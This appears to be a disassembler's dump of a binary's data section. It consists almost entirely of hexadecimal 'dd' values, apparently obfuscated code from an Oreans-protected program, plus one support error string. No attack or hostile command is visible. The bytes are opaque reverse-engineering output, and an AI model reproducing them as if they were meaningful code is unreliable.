		dd 8A59E743h, 98BE2A90h, 393302C8h, 49C62C14h, 567B7545h
		dd 56C2E3B6h, 701D0F6h,	35D73h,	0A3657375h, 47411137h
		dd 0FCF6C6CAh, 3F6437D7h, 20DE6DD3h, 7638790Dh,	206D9208h
		dd 883F1AAAh, 0B0h, 0F5726839h,	0A82523F1h, 59D6D8A4h
		dd 108D8355h, 0C4413F0Ch, 572495C1h, 9D8DC59h, 0C38E920Fh
		dd 704044C1h, 43D3F976h, 58FB3FDDh, 0F1663979h,	49F282A6h
		dd 562B28A0h, 7FE3E257h, 65F95F13h, 47B3D0A3h, 0E45B81E7h
		dd 1BDD7F73h, 7B117787h, 1D755E3Dh, 0B282365Bh,	9DFD3BB8h
		dd 5852E137h, 3DD19379h, 789D9767h, 3849D784h, 8C45BD74h
		dd 0BF3C3606h, 5725EBBBh, 0E4AEB88Fh, 69CF3451h, 8AF65C44h
		dd 68989664h, 5D8D6F81h, 7841D541h, 90FCF2C4h, 0AB427B6Ch
		dd 0BB4F364Fh, 0D99226F2h, 0C898353h, 193E3808h, 362h
		dd 3A876900h, 0F4190FE0h, 51767040h, 0ABD0D29Dh, 92E28F7h
		dd 658A8855h, 0C1E6E4B1h, 20453B0Dh, 799EA06Ch,	0D4F9F7C5h
		dd 0E08950FFh, 405h, 4E88300h, 5C240487h, 68243C89h, 28E0h
		dd 56243489h, 0C681E689h, 4, 8704EE83h,	895C2434h, 5157240Ch
		dd 43CC0B9h, 59CF890Bh,	2F883DBEh, 5FFE2911h, 240C8B54h
		dd 5604C483h, 0A9242C81h, 8F7B2775h, 41810841h,	2775A908h
		dd 240C8B7Bh, 5E08950h,	4, 8704C083h, 8B5C2404h, 89512434h
		dd 4C181E1h, 83000000h,	0C8704C1h, 0DEE95C24h, 0CDFFFD15h
		dd 7EF96CDCh, 697CB881h, 0C503062Bh, 691AE0FFh,	0C1863854h
		dd 0DBD064C6h, 91383B77h, 68895733h, 0AE87880h,	61000000h
		dd 0A8371362h, 0E1DF7B52h, 138D0F46h, 0E9000000h, 0Eh
		dd 0E241B1A5h, 93166342h, 8A2E32B9h, 815885FBh,	70CEC0h
		dd 0BACB8B00h, 0
		dd 8E856h, 0FDF40000h, 0AD4C44F0h, 8E9F099h, 0A5000000h
		dd 0EAF33E03h, 5FCBB6E9h, 10348B5Fh, 11E8h, 0C96C8C00h
		dd 7B04CE23h, 0F98E4699h, 445E838h, 815B9E68h, 0B8CEB8F6h
		dd 9E80Ah, 75510000h, 19C8F836h, 5072568Bh, 0BE9h, 5D445F00h
		dd 69B1DD02h, 0AA53E051h, 0F6815F59h, 0EC43150h, 820Fh
		dd 0C6810000h, 70C5A28Bh, 1F72E781h, 0FC562D09h, 0B310048Fh
		dd 83DF8BFCh, 10E902EAh, 92000000h, 0A169A1B3h,	0FCDB5EC7h
		dd 304CD976h, 4A31D200h, 67C9804Ah, 9040FA81h, 850FFFFFh
		dd 19h,	0E93DD380h, 31h, 843AB859h, 1DC17361h, 0A940D5C4h
		dd 0D375E4Bh, 8E8E4h, 37720000h, 0F4659D11h, 0E959500Fh
		dd 0FFFFFF49h, 0DA368798h, 0C9E3DD14h, 0BFEC30C8h, 400E9A4h
		dd 0
		db    0
		align 2
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 4
		dd 57h dup(0)
		db 2 dup(0)
word_580046	dw 0			; DATA XREF: ___:off_43286Co
					; ___:00432874o ...
		dd 8Bh dup(0)
		dd offset dword_55FFB0+50h
		dd offset dword_445750+0A8B0h
		dd 0
		dd 23E90000h, 0F000012h, 1085h,	0BE900h, 0A770000h, 41D814Bh
		dd 468BA980h, 5D858B18h, 6A062810h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2A88C351h
		dd 0C840F6Ah, 0E9000000h, 7, 57DA0BDCh,	3935DB9Dh, 0F042444h
		dd 7E85h, 118D0F00h, 0E9000000h, 0Ch, 0E34B3C98h, 0FA67209Fh
		dd 0ACE45AFFh, 12B1BD83h, 0F000628h, 5A84h, 0B8F0F00h
		dd 0E9000000h, 6, 6B1FABD5h, 858D7070h,	6283BBBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 95C35545h, 0AA3F9094h
		dd 607EE086h, 14498529h, 8B660628h, 2B6061F9h, 2814A99Dh
		dd 62BA6606h, 0FFFC6142h, 699589E0h, 8B062812h,	28174D85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0D6548CC4h, 0CC95C304h, 14E9F97Eh, 0BE000000h
		dd 281957E6h, 3CA4E3E2h, 0D02ADD7h, 61BF4F81h, 0F261554h
		dd 0C88h, 68A0F00h, 89000000h, 2807F195h, 24443906h, 60850F04h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0F3D6C353h, 47DF7182h,	5409D14Eh
		dd 3985C7FCh, 1062B6Fh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 3EA6C357h
		dd 179C7738h, 0F829ED7h, 683h, 0E99D8900h, 60062803h, 0E59D8B60h
		dd 0E906280Eh, 0Ah, 0D42E3438h,	32BF8A0Ah, 0F6104E4h, 684h
		dd 9B52900h, 0E9062801h, 27h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 20C35040h, 0C595893Bh, 62801h
		dd 0B8000000h, 1, 71228587h, 0C00B062Bh, 0B5FFF675h, 6280D25h
		dd 6F31858Fh, 206A062Bh, 95FFFF6Ah, 6282D35h, 1851BD83h
		dd 74000628h, 0FF006A08h, 28046595h, 61BD8306h,	1062809h
		dd 80680D74h, 6A000000h, 3595FFFFh, 6A06282Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 20FEC357h, 0C36B708Ch, 60D5F6F2h, 0E988DC80h, 12h, 0D80FEC60h
		dd 7D6EA7ECh, 80F33C60h, 0F49D38Eh, 6A61475Fh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 4E00C352h, 0B8666074h, 29617D24h, 280B7D85h,	0B806h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 9589FDC3h, 62805D5h, 2824548Bh, 68A0Fh, 0BD310000h
		dd 6282A95h, 14698589h,	6A0628h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 54EA24C3h, 0BEFC1904h
		dd 3Ch,	18E0Fh,	0FCF50000h, 24247403h, 68A0Fh, 8D890000h
		dd 6280ED1h, 6AAD66h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 6705B5C3h, 0E9A68B49h, 8, 3D758E8Ah
		dd 2EC1B25Ch, 0E99D8B60h, 53062824h, 8F0Fh, 61590000h
		dd 24244403h, 870F90F8h, 0Ch, 6850Fh, 840F0000h, 0
		dd 0EE950h, 93050000h, 476E1196h, 1DEDC057h, 2EDE7298h
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 95A5A5F5h, 812A595Eh, 8BF99ACEh,	6A7840h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0C7C5DBC3h, 39BD83E2h, 62B6Fh, 0FB850Fh, 0CE90000h
		dd 0DB000000h, 0AB99B6F7h, 50EEB2C3h, 89249E21h, 2817F1BDh
		dd 0F605006h, 387h, 0D78B6600h,	24048961h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 24C35646h, 10E9h
		dd 3DF94D00h, 0F114DEB8h, 96F40EBh, 2BB820AAh, 448BF522h
		dd 6A2C24h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 97D33CC3h, 0F9D8F285h, 54D9D89h, 0E9500628h
		dd 13h,	154457EBh, 1A8BAD16h, 9BED5E81h, 0D6FF261Dh, 896F264Dh
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 344886C3h, 890FBE3Eh, 1, 65B589FCh, 8D062817h
		dd 2B420385h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 8FD37432h, 225D9501h, 0D0FF0628h
		dd 244403FCh, 55006A28h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8D314F9Dh, 6282EE9h, 14959D89h, 89600628h
		dd 282235BDh, 6850F06h,	23000000h, 28333985h, 408B6106h
		dd 51006A18h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0B582CF10h, 89409382h, 281A4585h, 35858906h
		dd 29062B6Fh, 2834E595h, 6A5806h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0BB17A0C3h, 0E905C1CBh
		dd 0Fh,	0D76C1243h, 888A1Dh, 0CDDCBC3Ah, 8BC28BF5h, 6A7870h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0AE2D7DC3h, 0BD896062h, 6280849h, 1CC68361h,	29B5BD89h
		dd 6A960628h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 178FC357h, 21B50150h, 81062802h
		dd 24247Ch, 0F100000h, 0FF87h, 0BD8B6000h, 6280491h, 50D8D29h
		dd 50610628h, 0CA8B6060h, 6661C68Bh, 610917BFh,	6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0D5A1C351h, 66681C5Bh, 87DFB1FBh,	8E9h, 0A917EE00h
		dd 85DA0120h, 619D8907h, 8B062807h, 9282444h, 28130995h
		dd 12E99006h, 32000000h, 6136AC2Ah, 0F4259CADh,	5F23684Fh
		dd 2C8B1F0Bh, 66605056h, 61F250BFh, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0C0EC192h
		dd 2C355654h, 858D23D8h, 62B4203h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 10C35747h, 0F1DBAE5h, 9E9E3h
		dd 0A2EE0000h, 0E8ED512h, 0FF167643h, 52006AD0h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 41A81C9Bh, 0F8481C3Bh, 52006A96h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0B1BD2910h
		dd 3062820h, 6A242474h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 3F6CC356h, 8D97D716h
		dd 2834ADBDh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 6F3D8671h, 0B531BA2Ch, 6282331h
		dd 0A19D8B60h, 8B062824h, 280251BDh, 0FAD6106h,	683h, 31BD8900h
		dd 8106282Dh, 24247Ch, 0F100000h, 0F087h, 0B589F500h, 6282DB5h
		dd 0DE86090h, 0B4000000h, 6C2FAC39h, 52B2FFE2h,	0B7208FADh
		dd 0BF5ABE66h, 0DE85Ah,	0A1560000h, 0D55993B6h,	0D9AB5F83h
		dd 503C086Fh, 5A310F52h, 50615958h, 8E9h, 21208900h, 3F99E28Eh
		dd 9589903Dh, 6281781h,	2824448Bh, 0EE9h, 0E4812000h, 76E3D48Dh
		dd 884CB1F6h, 50EBCD22h, 9E9h, 9DFD300h, 0AF4DA9BAh, 489E294h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0A5A7C958h, 34498D01h, 8C0F0628h, 0Ch, 6840Fh
		dd 9D310000h, 6282539h,	4203858Dh, 6A062Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0A544E7C3h
		dd 310D321Eh, 0F870FC8h, 0E9000000h, 0Ah, 0C4176339h, 0FF71A287h
		dd 0D0FFE44Bh, 244403FCh, 68A0F24h, 1000000h, 282C259Dh
		dd 6AAB06h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 0E99084C3h, 14h, 32187F1Fh, 29A65137h, 0C3E1D250h
		dd 112EDB20h, 6817D796h, 0FE9h,	0F5F21000h, 885E625Ah
		dd 12084594h, 9E9F21B3h, 0FA81h, 820F0001h, 777h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BAC35242h, 0F9119BE1h
		dd 53812969h, 0BD8DF875h, 6281181h, 0BDBD2B60h,	61062824h
		dd 51006AADh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 737F00B3h, 0C778BD07h, 11458D09h, 8F0F0628h
		dd 0Bh,	6E9h, 0A5568400h, 81316A98h, 24247Ch, 0F100000h
		dd 0F787h, 0BE900h, 7D1E0000h, 41F6C650h, 0B2298879h, 525050ECh
		dd 10E9h, 0D6E0AE00h, 7A053678h, 0FCD1E26h, 211EB213h
		dd 60310F1Ch, 89585A61h, 8F0F2404h, 1, 24448BFCh, 51006A28h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0D0B911DBh, 740B0635h, 17870F90h, 50000000h,	880F52h
		dd 0F000000h, 6E931h, 0A50A0000h, 1C7EFA84h, 0F50585Ah
		dd 2183h, 0E9525000h, 10h, 2A2DE1D4h, 11B67F1Dh, 27E7DC0Eh
		dd 1F7FFC32h, 870F310Fh, 0
aZxrj		db 'ZX░j',0
		db 51h,	0E8h, 3
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 297BC351h, 283319BDh, 3858D06h, 0F9062B42h, 6AD0FFF5h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0D0BEC355h, 95018580h, 6281409h, 24244403h
		dd 7118589h, 0F500628h,	680h, 0CA8A6000h, 8961A6B6h, 85092404h
		dd 62818ADh, 0C18D0160h, 0BE062822h, 1E9A40FBh,	6AAB61h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 3FF262C3h, 38A766DCh, 2695BD8Dh, 6A0628h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 5F1802C3h
		dd 0D6BB6660h, 0DE96092h, 55000000h, 33E0F1BBh,	0F95A12B9h
		dd 4EBA9C2Ch, 0D598D8Bh, 61610628h, 7C81FCADh, 2824h, 870F1000h
		dd 0D6h, 0A870Fh, 8B600000h, 2832BD8Dh,	61FBB006h, 11E950h
		dd 0FD790000h, 8E84A9E3h, 1BB9CA0Fh, 66194D1Bh,	8946DE1Ah
		dd 0B5012404h, 6281695h, 2C24448Bh, 1258D89h, 60900628h
		dd 5A616053h, 5E8h, 47D48100h, 615F72ADh, 9E950h, 1BC70000h
		dd 0AF10CD59h, 901BABB1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 31C35545h, 840F0EB3h,	0Bh, 6E9h, 0FA68F000h
		dd 8D74699Ah, 2B420385h, 11E906h, 0BB9A0000h, 0FF4B98ECh
		dd 630027A5h, 0E667CCCCh, 8991507Eh, 28076995h,	0E9D0FF06h
		dd 0Eh,	0D4980FACh, 912BDD4Ch, 4AE749DBh, 820F6073h, 0Eh
		dd 0F9B58960h, 29062804h, 28094DBDh, 44036106h,	6A2824h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0C88E6C3h, 6AAB8Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 60F83DC3h, 3CABB866h, 6126D380h
		dd 225D9589h, 0FF5E0628h, 2B6F358Dh, 35BD8306h,	62B6Fh
		dd 0C0330A75h, 7EE7B58Dh, 0E6FF062Bh, 7C81AD56h, 2824h
		dd 0E771000h, 24448B50h, 858D502Ch, 62B4203h, 4403D0FFh
		dd 8B972824h, 31858ADFh, 84062B6Fh, 3A0474C0h, 574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 28146985h, 0FF5DE906h, 0F5EFFFFh, 0E89h, 0BD8B6000h
		dd 62820B1h, 6E5950Bh, 60610628h, 8E8h,	0A79F0000h, 991A332Bh
		dd 8D0F87h, 59000000h, 1B98523h, 89610628h, 280C6DB5h
		dd 69858B06h, 6A062814h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 466FC356h, 19556F4h
		dd 566A37F5h, 6AE0D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 13A17DC3h, 3585297Ch, 3062805h
		dd 28269585h, 0F19D8906h, 2B062800h, 53006AF6h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0DCF414F3h
		dd 15830F85h, 0E9000000h, 10h, 99C95256h, 62DDCD54h, 6B0EE677h
		dd 5A723CD1h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 9802A6A8h, 0EE450A91h, 5E9CC21h
		dd 2E000000h, 6499B9B8h, 6AAD66h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0CFF9CFC3h, 78E1D9D5h
		dd 0B59D899Bh, 0C1062806h, 0E86002E0h, 0Eh, 0C5BEBCFCh
		dd 3171FC4Ch, 1774D684h, 0B70F271Fh, 7E95FCFh, 44000000h
		dd 10BF38B6h, 3612A01h,	2834AD85h, 65BD0106h, 96062803h
		dd 8589FC60h, 62804F9h,	0CE961h, 0D7F90000h, 43A69B40h
		dd 6892DE0Eh, 29ADB88Ch, 281ED985h, 7C81F906h, 2424h, 870F1000h
		dd 136h, 22E99529h, 0F500628h, 88Ch, 2830F00h, 60000000h
		dd 24048961h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	14C35242h, 6036FA0Ch, 1A45952Bh, 8D8B0628h, 6282029h
		dd 24448B61h, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 24765127h, 0F66F47F6h, 0BE960A8h
		dd 5B000000h, 0FC4A36F7h, 25DF5F57h, 12E80D15h,	0D8000000h
		dd 0A235A43Ah, 911C3207h, 0C69AE9A6h, 3A2AF8F8h, 96F1811Eh
		dd 59288C5Bh, 1B58961h,	50062813h, 0CE95250h, 0
		dd 5B2631C3h, 0D1F9E977h, 0F69C902h, 6800F31h, 50000000h
		dd 5A310F52h, 89585A58h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 6E07CEC3h, 0D6686C9Dh
		dd 10E9h, 7FC3A600h, 198EA6DCh,	0EEAA57A1h, 374B50F8h
		dd 699D8970h, 8D062821h, 2B420385h, 39952906h, 0FF062807h
		dd 8D8960D0h, 6280F99h,	14E9h, 635C1C00h, 17CF4B48h, 0F687D890h
		dd 1D5A7E10h, 3C70C6Fh,	440361E0h, 0B5892424h, 6281371h
		dd 13E9h, 13782900h, 40719D45h,	0F9B438B5h, 0BEFDC2F6h
		dd 0C65C1114h, 1C244489h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 2EC35545h, 51BD8960h,	6006280Fh, 0B4C9BF0Fh
		dd 0C6616145h, 280D2585h, 85C70006h, 62B7122h, 0
		dd 6F3985C7h, 62Bh, 0B5890000h,	6282589h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 17h, 84C35040h, 0E94472EEh
		dd 5, 8E53C4F3h, 6A619Ch, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 8F0F2EC3h, 6,	29BD8589h
		dd 8C20628h, 4DBD0100h,	8B062822h, 2834AD85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0E9DDDD36h, 6, 0FB6A5A2Dh, 0F4A2BA5h, 68Ch, 0FD9D8900h
		dd 6B06282Ch, 0BE904D2h, 4B000000h, 7E4880DDh, 664C6742h
		dd 0C203A7D7h, 1890Fh, 96F80000h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 80C35242h, 6AADF8h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0BB525C3h, 4ECB823Dh, 60CBF50Dh, 0DDB6BE66h,	1369958Bh
		dd 81610628h, 24247Ch, 0F100000h, 0FF87h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 860FF944h, 6, 2DD9B589h, 60900628h, 0DA77A4B8h, 0FA8B6609h
		dd 8B0F5061h, 16h, 11E9h, 35E67C00h, 199CA1BCh,	0B0CA94F7h
		dd 0C07D0E20h, 6A90A393h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 38C5C350h, 29F3B3A4h
		dd 2801EDBDh, 24448B06h, 57006A28h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0B589F2CEh, 6282729h
		dd 12820F50h, 50000000h, 850F52h, 0F000000h, 880F31h, 5A000000h
		dd 24048958h, 0FE9h, 221F6C00h,	0B7F1080Ah, 0C16F4817h
		dd 0C8219241h, 4203858Dh, 8D0F062Bh, 0Dh, 0ABB1BB60h, 858B76C2h
		dd 6281001h, 0E9D0FF61h, 10h, 22E07A47h, 0D6C10AF5h, 3E3D4F6Fh
		dd 0F630B205h, 0FFFD79E9h, 18D0FFFh, 0F9000000h, 0DE9h
		dd 0DEAD7B00h, 33337277h, 0EF773182h, 858DC197h, 62B85B0h
		dd 5D8D0360h, 6106282Bh, 8B666090h, 0AC5BB8D3h,	50616042h
		dd 8E95250h, 0CC000000h, 2797554Ch, 0FE278E2h, 12820F31h
		dd 0E9000000h, 0Dh, 151B896h, 9D519C99h, 6D266B25h, 90585A02h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0F5C35141h
		dd 7E860FFh, 0
		dd 858FB8F4h, 61603DBAh, 14E859h, 479B0000h, 3F91C7BAh
		dd 0E2E95E65h, 8DC6E95Ah, 311E82AEh, 85895DBBh,	6282969h
		dd 0FF64615Bh, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 7C8A89EDh, 10819424h
		dd 24048BD3h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 16h,	0DAC35242h, 958942E0h, 6281125h, 18E18589h, 6A0628h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0AD2443C3h, 258964F8h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 64C35747h
		dd 1D911551h, 8290E14h,	29BD8926h, 8D062827h, 2B834285h
		dd 0DE906h, 6210000h, 8F5A803Fh, 91F05017h, 60FF2212h
		dd 0FE8h, 302E5800h, 342DD352h,	6AD730Dh, 11FD0733h, 59F6B70Fh
		dd 13E9h, 3D02FD00h, 62356433h,	0DF11E99Fh, 796EEBA7h
		dd 0E84B532Fh, 1608961h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 10C35242h, 2CCE977h, 6A0000h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0F73E9FC3h, 0A7B85C23h, 0E8DB8B2Ah, 0
		dd 3BED815Dh, 0BC062B83h, 12FF9Ch, 961BD83h, 74000628h
		dd 59858B18h, 0C6062812h, 858B0000h, 6280D09h, 0FF0000C6h
		dd 282EFD95h, 0B5FF6006h, 62B6B3Dh, 6B41858Dh, 8D50062Bh
		dd 2B6D3985h, 95FF5006h, 6280DF5h, 610CC483h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 71C35747h, 0D4BE6660h
		dd 6A61F97Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0CB42C355h, 0EF90E48Eh, 8DCF4716h
		dd 2B6D39B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 1D2B02Ch,	0CEE3EC94h, 8DF94CC4h
		dd 282FD5BDh, 5BD3106h,	80062823h, 840F003Eh, 67h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D6C35141h, 0C9889955h
		dd 0C23544F7h, 14E9FAh,	0AE6F0000h, 0E1E2868Ch,	8FA597F3h
		dd 0CF275AA8h, 42E9FE33h, 6AA43658h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 1680C353h
		dd 0FFFF96E9h, 0D98D89FFh, 0B8062822h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E3C35747h
		dd 0DDCFF130h, 9212217Ch, 13E9h, 2E463900h, 0F26C1F56h
		dd 0D02500D9h, 0E4529341h, 85BE7C24h, 57006AAAh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 50E10109h, 0B8B43F5Ah, 7, 12E9h, 73D6BD00h, 5FA3324Ch
		dd 4288EC8Bh, 3733B681h, 0C7640F48h, 2822B585h,	106h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0D5DC642Ch, 0E81A00A8h, 95D48060h, 5DE8B966h, 6E8D8D61h
		dd 6A06284Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 7D86C357h, 3149CD88h, 0AE95ACCh
		dd 0A000000h, 0F64B81F1h, 6129093Ch, 6AE1FF9Eh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0D0FCC351h, 5E03859Eh, 8960A6BFh, 2810F9BDh,	0BE906h
		dd 0C7C80000h, 21C5254Fh, 6B14A879h, 0AE96197h,	0E4000000h
		dd 4CD568C1h, 0DDD55BECh, 245C8B3Ah, 0E8550Ch, 5D000000h
		dd 85BAED81h, 838B062Bh, 0B8h, 6B3D8589h, 858D062Bh, 62B8334h
		dd 0B88389h, 335D0000h,	0F60C3C0h, 68Ah, 860F00h, 81000000h
		dd 846985D3h, 9D096127h, 6280371h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 8EC35040h, 9D92654Bh, 6290A168h
		dd 858DF860h, 62B87CFh,	9E9h, 0ABC90400h, 2128AE13h, 0E9503F06h
		dd 8, 864DB613h, 5F7C001h, 89240489h, 2834158Dh, 0FF64F806h
		dd 35h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		dd 1604h, 0C3534300h, 603D0081h, 0F381EB8Ah, 2D908069h
		dd 13E961h, 93940000h, 9A002837h, 93BBCA7h, 46FE06AEh
		dd 127AC955h, 258964DDh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B6C35545h
		dd 0EC647C4Ah, 654D2F93h, 6840Fh, 95890000h, 62807C9h
		dd 8869858Dh, 14E9062Bh, 0E000000h, 0DB1A25C2h,	2246C578h
		dd 0D344956Bh, 0A9BA09DFh, 0FC94AF4Dh, 6A016089h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 2CD1C350h, 2585C6F8h, 4F06280Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0E3C35747h,	991E9A51h, 0D18529C3h
		dd 68062832h, 0F9FD50D1h, 138A0Fh, 8A0F0000h, 0Dh, 8E9h
		dd 0ABAA4200h, 11B28C7Ah, 24348132h, 73524FBh, 311B589h
		dd 0B5FF0628h, 628140Dh, 58858DFCh, 6A062B6Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 4AB5C353h, 0BD896039h, 6282729h, 0FE9h, 81154100h, 88381987h
		dd 0A988F9BEh, 427C28C3h, 418D0961h, 0FF06281Dh, 0B3E9F5D0h
		dd 0E9000000h, 14h, 6F20175Fh, 64AE3769h, 8AE092C6h, 3AAD1F1Dh
		dd 91279CA7h, 0C245C8Bh, 0E855h, 815D0000h, 2B87D9EDh
		dd 0D5858B06h, 8906282Dh, 28140D85h, 4D858B06h,	89062817h
		dd 28263585h, 5D858B06h, 89062810h, 280D7185h, 2585C606h
		dd 6280Dh, 712285C7h, 62Bh, 858D0000h, 62B8869h, 0B88389h
		dd 335D0000h, 6AC3C0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0D9B563C3h, 0BD896081h, 628221Dh
		dd 32BDBD8Bh, 0E9610628h, 12h, 0DBE919C6h, 61741861h, 5CF89A03h
		dd 28D1BF7Fh, 74BCB0EAh, 6A0012FFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D618C357h
